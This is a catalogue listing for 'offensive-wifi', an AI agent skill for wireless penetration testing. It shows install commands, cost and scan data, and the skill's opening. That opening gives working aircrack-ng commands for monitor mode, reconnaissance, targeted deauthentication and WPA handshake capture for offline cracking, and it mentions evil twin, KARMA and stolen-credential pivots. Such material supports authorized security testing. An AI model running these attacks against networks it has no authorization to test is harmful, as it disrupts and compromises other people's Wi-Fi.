offensive-wifi

offensive-wifi is a skill for Claude Code, Codex from Miosa-osa/OSA. It costs 183 tokens per session (3,584 once invoked), scanned A, a copy of offensive-wifi, Apache-2.0.

A broad guide to wireless security testing for 802.11 networks, covering monitor-mode setup, WPA and WPA2 password attacks, WPA3 downgrade testing, enterprise authentication attacks, fake access points, and client behavior such as responding to known network names. WPA-Enterprise is a business Wi-Fi system that authenticates users through a central service.

In plain words
What is it for?
It is for authorized red-team and wireless security engagements, including testing password-based Wi-Fi, enterprise authentication, fake access points, and how nearby devices choose networks.
Why use it?
It gives a security tester one place to plan a wireless assessment across home, business, and newer Wi-Fi deployments. This removes the need to combine separate guides for different wireless authentication methods.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Good fit It is for authorized red-team and wireless security engagements, including testing password-based Wi-Fi, enterprise authentication, fake access points, and how nearby devices choose networks.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/miosa-osa/osa/offensive-wifi
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add Miosa-osa/OSA --skill offensive-wifi
Clone the repo
git clone --depth 1 https://github.com/Miosa-osa/OSA

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for offensive-wifi

README.md
[![agentmods](https://agentmods.dev/badge/skills/miosa-osa/osa/offensive-wifi/github.svg)](https://agentmods.dev/skills/miosa-osa/osa/offensive-wifi)
Your own site
<a href="https://agentmods.dev/skills/miosa-osa/osa/offensive-wifi"><img src="https://agentmods.dev/badge/skills/miosa-osa/osa/offensive-wifi/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for offensive-wifi

Your own site · 80×15
<a href="https://agentmods.dev/skills/miosa-osa/osa/offensive-wifi"><img src="https://agentmods.dev/badge/skills/miosa-osa/osa/offensive-wifi.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 183 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 3,584 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 1 finding. A grade says what 26 rules found in the file — not that it is safe.
Origin 88% copy Near-identical to another mod in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00183 $0.03584
Opus 5.5 $0.00073 $0.01434
Sonnet 5.5 $0.00037 $0.00717
Haiku 4.5 $0.00018 $0.00358

Measured 1mo ago against content hash 6b7f5f09761a, method: parsed. Prices are Anthropic first-party input rates as of 2026-10-07, from the pricing page.

Security

Grade A, and why

offensive-wifi scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 1mo ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Asks for rootlowPrivilege escalation

A mod that escalates privileges can change anything on the machine, not only the project.

sudo airmon-ng check kill

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Origin

This is a copy

88% identical to offensive-wifi — 40 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.

priv/skills/offensive-wifi/SKILL.md · 386 lines

How it starts

The opening of the file, as written. The whole thing — 386 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Wireless / 802.11 — Offensive Testing Methodology

Quick Workflow

  1. Pick the right adapter (monitor mode + injection + correct band/PHY for target)
  2. Recon airspace passively — never deauth before you know the topology
  3. Choose attack: handshake capture, PMKID, evil twin, KARMA, or WPS
  4. Crack offline; do not rely on online dictionary attacks
  5. If WPA-Enterprise, pivot through stolen creds or rogue RADIUS

Hardware & Adapter Selection

Chipset Strengths Notes
Atheros AR9271 (Alfa AWUS036NHA) Solid 2.4 GHz monitor + injection 802.11n only
Realtek RTL8812AU (AWUS036ACH) Dual-band, injection Driver: aircrack-ng/rtl8812au
MediaTek MT7612U (AWUS036ACM) Stable dual-band Modern kernels in-tree
MediaTek MT7921AU Wi-Fi 6 monitor (limited) Patched drivers required
AWUS036AXML / AXM Wi-Fi 6E (6 GHz) Bleeding edge — verify per release
# Verify monitor + injection
sudo airmon-ng check kill
sudo airmon-ng start wlan0
sudo aireplay-ng --test wlan0mon
iw list | grep -A 8 "Supported interface modes"

Reconnaissance

# Multi-channel discovery (all bands)
sudo airodump-ng wlan0mon --band abg

# Targeted on a known channel/BSSID
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w cap wlan0mon

# Hidden SSID — wait for client probe or force deauth
sudo airodump-ng -c 6 --essid-regex "." wlan0mon

# Wigle / Kismet for war-driving
kismet -c wlan0mon

Key data to record: BSSID, ESSID, channel, encryption, PMF status, client list, RSSI, vendor OUI.


WPA / WPA2-PSK

Four-way Handshake Capture

# Targeted capture
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w handshake wlan0mon

# Force a reconnect (deauth one client, do not blanket the AP)
sudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon

Verify the EAPOL frames are usable:

hcxpcapngtool -o hash.hc22000 handshake-01.cap

PMKID (No Client Required)

Read the full file on GitHub · 386 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 1mo ago First seen · 386 lines · 183 tokens per session scan A 6b7f5f09761a

Subscribe to this mod's changes

offensive-wifi is a skill published in the GitHub repository Miosa-osa/OSA (78 stars, last pushed 11d ago), licensed Apache-2.0. It adds 183 tokens to every session and 3,584 once invoked, about $0.0007 per session on Opus 5.5. A static security scan graded it A with 1 finding (asks for root). It is 88% identical to offensive-wifi, differing in 40 lines, and is treated as a copy.

Related

Other skills, from other repositories

neuroskill-bci

Use live BCI cognitive and mood state from NeuroSkill.

NousResearch/hermes-agent · 18 tokens

opentrons-integration

Official Opentrons Protocol API for OT-2 and Flex robots. Use when writing protocols specifically for Opentrons hardware with full access to Protocol API v2 features. Best for production Opentrons protocols, official API compatibility. For multi-vendor automation or broader equipment control use pylabrobot.

synthetic-sciences/openscience · 66 tokens

pylabrobot

Vendor-agnostic lab automation framework. Use when controlling multiple equipment types (Hamilton, Tecan, Opentrons, plate readers, pumps) or needing unified programming across different vendors. Best for complex workflows, multi-vendor setups, simulation. For Opentrons-only protocols with official API…

synthetic-sciences/openscience · 73 tokens

openhue

Control Philips Hue lights, rooms, and scenes via the OpenHue CLI. Turn lights on/off, adjust brightness, color, color temperature, and activate scenes.

moltis-org/moltis · 35 tokens

eightctl

Control Eight Sleep pods (status, temperature, alarms, schedules).

moltis-org/moltis · 16 tokens

gap

Program robots with GaP (graph-as-policy) — compile natural-language tasks into typed, verified robot skill graphs and run them on simulators or real robots. Use when the user mentions GaP or graph-as-policy, robot manipulation, robot skills, robot tools or capabilities, skill registries, open-robot-skills, LIBERO or…

graph-robots/graph-as-policy · 195 tokens